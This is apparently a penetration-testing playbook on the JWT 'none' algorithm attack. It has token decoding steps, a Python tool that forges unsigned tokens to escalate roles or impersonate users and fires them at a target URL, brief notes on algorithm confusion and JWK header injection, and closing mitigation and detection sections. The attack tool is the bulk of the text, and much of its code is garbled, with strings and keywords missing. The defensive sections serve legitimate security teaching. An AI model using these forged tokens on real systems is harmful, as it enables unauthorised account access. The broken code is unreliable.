| name | performing-jwt-none-algorithm-attack |
| description | Execute and test the JWT none algorithm attack to bypass signature verification by manipulating the alg header field in JSON Web Tokens. |
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["jwt","none-algorithm","authentication-bypass","token-manipulation","signature-bypass","penetration-testing","owasp","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
Performing JWT None Algorithm Attack
Overview
The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.
Prerequisites
- Target application using JWT for authentication or authorization
- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
- Python 3.8+ with PyJWT library for token crafting
- Understanding of JWT structure (Header.Payload.Signature)
- Authorization to perform security testing on the target
JWT Structure
A JWT consists of three Base64URL-encoded parts separated by dots:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Signature
Attack Methodology
Step 1: Capture a Valid JWT
Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Step 2: Decode and Analyze the Token
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
Step 3: Craft a Forged Token with None Algorithm
"""JWT None Algorithm Attack Tool
Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
NONE_VARIANTS = [
"none",
"None",
"NONE",
"nOnE",
"noNe",
"NoNe",
"nONE",
"nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def _base64url_encode(self, data: bytes) -> str:
"""Base64URL encode without padding."""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def _base64url_decode(self, data: str) -> bytes:
"""Base64URL decode with padding restoration."""
padding = - (data) %
padding != :
data += * padding
base64.urlsafe_b64decode(data)
() -> :
parts = token.split()
header = json.loads(._base64url_decode(parts[]))
payload = json.loads(._base64url_decode(parts[]))
header, payload
() -> :
header = {: alg_variant, : }
header_encoded = ._base64url_encode(json.dumps(header).encode())
payload_encoded = ._base64url_encode(json.dumps(modified_payload).encode())
() -> :
tokens = []
modified_payload = (.original_payload)
modified_payload[role_field] = admin_value
variant .NONE_VARIANTS:
token = .craft_none_token(modified_payload, variant)
tokens.append({: variant, : token})
tokens
() -> :
modified_payload = (.original_payload)
modified_payload[user_field] = target_user_id
.craft_none_token(modified_payload)
() -> :
results = []
base_headers = headers {}
variant .NONE_VARIANTS:
modified_payload = (.original_payload)
modified_payload[] =
token = .craft_none_token(modified_payload, variant)
test_headers = (base_headers)
test_headers[] =
:
response = requests.get(
,
headers=test_headers,
timeout=
)
result = {
: variant,
: response.status_code,
: response.status_code == ,
: (response.content),
}
results.append(result)
response.status_code == :
()
:
()
requests.exceptions.RequestException e:
results.append({
: variant,
: ,
: ,
: (e)
})
results
() -> :
modified_payload = (.original_payload)
modified_payload[] =
header = {: , : }
header_encoded = ._base64url_encode(json.dumps(header).encode())
payload_encoded = ._base64url_encode(json.dumps(modified_payload).encode())
variants = [
,
,
,
]
results = []
token variants:
results.append({: token[-:], : token})
results
():
(sys.argv) < :
()
()
sys.exit()
target_url = sys.argv[]
original_token = sys.argv[]
attacker = JWTNoneAttack(target_url, original_token)
()
()
()
()
()
results = attacker.test_none_variants()
vulnerable = [r r results r.get()]
vulnerable:
()
()
:
()
__name__ == :
main()
Step 4: Additional JWT Attack Variants
Algorithm Confusion (RS256 to HS256):
If the server uses RS256 (asymmetric), an attacker who knows the public key can:
- Change
alg to HS256
- Sign the token using the public key as the HMAC secret
- The server may verify the signature using its public key as an HMAC key
JWK Header Injection (CVE-2018-0114):
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<attacker-controlled-key>",
"e": "AQAB"
}
}
Mitigation Strategies
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""Verify JWT with explicit algorithm allowlist."""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"],
options={
"require": ["exp", "iat", "sub"],
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("Invalid token algorithm")
except jwt.ExpiredSignatureError:
raise ValueError("Token expired")
except jwt.InvalidTokenError:
raise ValueError("Invalid token")
Detection Indicators
- JWT tokens with
"alg": "none" (or case variations) in server logs
- Tokens with empty or missing signature segments
- Sudden change in algorithm field from normal patterns
- Tokens with modified claims (role escalation) from the same session
- Authorization header containing tokens with only two Base64 segments
References